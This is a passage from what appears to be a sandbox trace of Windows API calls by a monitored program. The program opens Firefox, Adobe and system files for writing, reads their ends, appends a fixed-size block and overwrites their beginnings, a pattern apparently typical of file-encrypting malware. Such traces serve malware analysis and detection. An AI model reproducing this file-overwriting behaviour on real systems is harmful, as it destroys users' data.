[0057.065] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.065] ReleaseMutex (hMutex=0x128) returned 1 [0057.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="components.manifest", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0057.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="components.manifest", cchWideChar=19, lpMultiByteStr=0x1e786cc, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="components.manifest", lpUsedDefaultChar=0x0) returned 19 [0057.065] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e7fb48, nNumberOfBytesToRead=0x22, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e7fb48*, lpNumberOfBytesRead=0x2e0f2bc*=0x22, lpOverlapped=0x0) returned 1 [0057.066] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0057.066] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5aa, lpOverlapped=0x0) returned 1 [0057.066] CloseHandle (hObject=0x1d4) returned 1 [0057.066] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\en-us.dic"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.067] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.067] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x9863e [0057.067] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.067] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.067] ReleaseMutex (hMutex=0x128) returned 1 [0057.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US.dic", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0057.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US.dic", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US.dic", lpUsedDefaultChar=0x0) returned 9 [0057.067] ReadFile (in: hFile=0x1d4, lpBuffer=0x39d9938, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0057.070] ReadFile (in: hFile=0x1d4, lpBuffer=0x39d9938, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.073] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x9763e [0057.073] ReadFile (in: hFile=0x1d4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.081] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x9763e [0057.083] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.084] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0057.084] WriteFile (in: hFile=0x1d4, lpBuffer=0x271ce78*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x271ce78*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0057.084] WriteFile (in: hFile=0x1d4, lpBuffer=0x271ce78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x271ce78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0057.084] CloseHandle (hObject=0x1d4) returned 1 [0057.084] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\plugin-hang-ui.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.085] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.085] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x6e70 [0057.085] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.085] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.085] ReleaseMutex (hMutex=0x128) returned 1 [0057.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="plugin-hang-ui.exe", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0057.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="plugin-hang-ui.exe", cchWideChar=18, lpMultiByteStr=0x1e786cc, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plugin-hang-ui.exe", lpUsedDefaultChar=0x0) returned 18 [0057.086] ReadFile (in: hFile=0x1d4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.088] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5e70 [0057.088] ReadFile (in: hFile=0x1d4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.089] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5e70 [0057.089] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.090] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0057.090] WriteFile (in: hFile=0x1d4, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0057.090] CloseHandle (hObject=0x1d4) returned 1 [0057.090] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapp-uninstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.329] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.329] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x29bd0 [0057.329] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.329] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.329] ReleaseMutex (hMutex=0x128) returned 1 [0057.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="webapp-uninstaller.exe", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0057.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="webapp-uninstaller.exe", cchWideChar=22, lpMultiByteStr=0x1e786cc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="webapp-uninstaller.exe", lpUsedDefaultChar=0x0) returned 22 [0057.329] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de33e8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de33e8*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0057.379] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x28bd0 [0057.379] ReadFile (in: hFile=0x1d4, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.382] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x28bd0 [0057.382] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.425] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0057.425] WriteFile (in: hFile=0x1d4, lpBuffer=0x39d9938*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0057.425] CloseHandle (hObject=0x1d4) returned 1 [0057.425] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0057.426] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", lpFilePart=0x2e0f690*="Workflow.Targets") returned 0x5a [0057.426] GetLastError () returned 0x5 [0057.426] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="똰pˠ폈Hˠ퐔HˠLˠꢠǦ\x01") returned 0x13 [0057.426] LocalFree (hMem=0x70b630) returned 0x0 [0057.426] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0057.426] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0057.426] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0057.426] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0057.426] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets")) returned 0x20 [0057.427] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\imagingdevices.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0057.427] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui", lpFilePart=0x2e0f690*="ImagingDevices.exe.mui") returned 0x48 [0057.427] GetLastError () returned 0x5 [0057.427] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="똰pˠ폈Hˠ퐔HˠLˠꢠǦ\x01") returned 0x13 [0057.427] LocalFree (hMem=0x70b630) returned 0x0 [0057.427] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0057.427] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0057.427] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0057.427] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0057.427] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\imagingdevices.exe.mui")) returned 0x20 [0057.428] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.428] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.428] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x109d000 [0057.428] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.428] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.428] ReleaseMutex (hMutex=0x128) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdbeRdrUpd10116_MUI.msp", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0057.428] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdbeRdrUpd10116_MUI.msp", cchWideChar=23, lpMultiByteStr=0x1e786cc, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdbeRdrUpd10116_MUI.msp", lpUsedDefaultChar=0x0) returned 23 [0057.428] ReadFile (in: hFile=0x1d4, lpBuffer=0x39d9938, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0057.431] ReadFile (in: hFile=0x1d4, lpBuffer=0x39d9938, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0057.436] ReadFile (in: hFile=0x1d4, lpBuffer=0x39d9938, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0057.437] ReadFile (in: hFile=0x1d4, lpBuffer=0x39d9938, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0057.443] ReadFile (in: hFile=0x1d4, lpBuffer=0x39d9938, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0057.445] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef30000 [0057.449] ReadFile (in: hFile=0x1d4, lpBuffer=0x39d9938, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0057.450] VirtualQuery (in: lpAddress=0x7ef80000, lpBuffer=0x2e0f23c, dwLength=0x1c | out: lpBuffer=0x2e0f23c*(BaseAddress=0x7ef80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0057.450] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eec0000 [0057.454] VirtualFree (lpAddress=0x7ef30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.457] ReadFile (in: hFile=0x1d4, lpBuffer=0x39d9938, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0057.459] ReadFile (in: hFile=0x1d4, lpBuffer=0x39d9938, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0057.459] VirtualQuery (in: lpAddress=0x7ef30000, lpBuffer=0x2e0f23c, dwLength=0x1c | out: lpBuffer=0x2e0f23c*(BaseAddress=0x7ef30000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x59000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0057.459] VirtualAlloc (lpAddress=0x7ef30000, dwSize=0x20000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ef30000 [0057.459] VirtualAlloc (lpAddress=0x7ef30000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ef30000 [0057.460] ReadFile (in: hFile=0x1d4, lpBuffer=0x39d9938, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0057.461] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x109b000 [0057.461] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2e0f278*=0x2000, lpOverlapped=0x0) returned 1 [0057.465] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x109b000 [0057.467] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7edb0000 [0057.472] VirtualQuery (in: lpAddress=0x7ee00000, lpBuffer=0x2e0f258, dwLength=0x1c | out: lpBuffer=0x2e0f258*(BaseAddress=0x7ee00000, AllocationBase=0x7ee00000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.472] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed40000 [0066.306] VirtualQuery (in: lpAddress=0x7edd0000, lpBuffer=0x2e0f224, dwLength=0x1c | out: lpBuffer=0x2e0f224*(BaseAddress=0x7edd0000, AllocationBase=0x7edd0000, AllocationProtect=0x4, RegionSize=0xf0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0066.306] VirtualFree (lpAddress=0x7edd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.310] VirtualQuery (in: lpAddress=0x7eec0000, lpBuffer=0x2e0f224, dwLength=0x1c | out: lpBuffer=0x2e0f224*(BaseAddress=0x7eec0000, AllocationBase=0x7eec0000, AllocationProtect=0x4, RegionSize=0x40000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0066.310] VirtualFree (lpAddress=0x7eec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.311] VirtualQuery (in: lpAddress=0x7ef00000, lpBuffer=0x2e0f224, dwLength=0x1c | out: lpBuffer=0x2e0f224*(BaseAddress=0x7ef00000, AllocationBase=0x7ef00000, AllocationProtect=0x4, RegionSize=0x50000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0066.311] VirtualFree (lpAddress=0x7ef00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.313] VirtualQuery (in: lpAddress=0x7ef50000, lpBuffer=0x2e0f224, dwLength=0x1c | out: lpBuffer=0x2e0f224*(BaseAddress=0x7ef50000, AllocationBase=0x7ef50000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0066.313] VirtualFree (lpAddress=0x7ef50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.324] VirtualQuery (in: lpAddress=0x7edd0000, lpBuffer=0x2e0f258, dwLength=0x1c | out: lpBuffer=0x2e0f258*(BaseAddress=0x7edd0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1b9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0066.324] VirtualAlloc (lpAddress=0x7edd0000, dwSize=0x90000, flAllocationType=0x2000, flProtect=0x4) returned 0x7edd0000 [0066.325] VirtualAlloc (lpAddress=0x7edd0000, dwSize=0x90000, flAllocationType=0x1000, flProtect=0x4) returned 0x7edd0000 [0066.339] VirtualQuery (in: lpAddress=0x7ee60000, lpBuffer=0x2e0f258, dwLength=0x1c | out: lpBuffer=0x2e0f258*(BaseAddress=0x7ee60000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x129000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0066.339] VirtualAlloc (lpAddress=0x7ee60000, dwSize=0xb0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ee60000 [0066.340] VirtualAlloc (lpAddress=0x7ee60000, dwSize=0xb0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ee60000 Thread: id = 80 os_tid = 0xb6c [0032.350] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0032.351] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf", lpFilePart=0x2f4f690*="RacWmiDatabase.sdf") returned 0x41 [0032.351] GetLastError () returned 0x20 [0032.351] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p˴폈H˴퐔H˴") returned 0x51 [0032.363] LocalFree (hMem=0x70da60) returned 0x0 [0032.363] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0032.363] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0032.365] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, 